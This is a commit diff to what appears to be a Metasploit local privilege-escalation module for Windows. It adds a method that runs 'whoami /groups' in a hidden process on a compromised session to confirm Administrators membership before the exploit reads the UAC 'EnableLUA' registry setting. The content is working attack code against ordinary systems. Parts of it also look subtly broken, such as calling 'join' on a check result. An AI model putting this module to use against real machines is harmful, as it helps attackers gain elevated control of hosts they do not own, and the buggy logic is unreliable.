Added check method
The method checks to see if the user is a part of the admin group. If the user is the exploit continues, if not the exploit stops because it will prompt the user for a password instead of just clicking ok.bug/bundler_fix
parent
6881774c03
commit
9695b2d662
|
@ -48,7 +48,36 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
session.readline
|
||||||
|
print_status('Checking admin status...')
|
||||||
|
whoami = session.sys.process.execute('cmd /c whoami /groups',
|
||||||
|
nil,
|
||||||
|
{'Hidden' => true, 'Channelized' => true}
|
||||||
|
)
|
||||||
|
cmdout = []
|
||||||
|
while(cmdoutput = whoami.channel.read)
|
||||||
|
cmdout << cmdoutput
|
||||||
|
end
|
||||||
|
if cmdout.size == 0
|
||||||
|
fail_with(Exploit::Failure::None, "Either whoami is not there or failed to execute")
|
||||||
|
else
|
||||||
|
isinadmins = cmdout.join.scan(/S-1-5-32-544/)
|
||||||
|
if isinadmins.size > 0
|
||||||
|
print_good('Part of Administrators group! Continuing...')
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
print_error('Not in admins group, cannot escalate with this module')
|
||||||
|
print_error('Exiting...')
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
def exploit
|
def exploit
|
||||||
|
admin_check = check
|
||||||
|
if admin_check.join =~ /safe/
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
|
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
|
||||||
open_key = session.sys.registry.open_key(root_key, base_key)
|
open_key = session.sys.registry.open_key(root_key, base_key)
|
||||||
lua_setting = open_key.query_value('EnableLUA')
|
lua_setting = open_key.query_value('EnableLUA')
|
||||||
|
|
Loading…
Reference in New Issue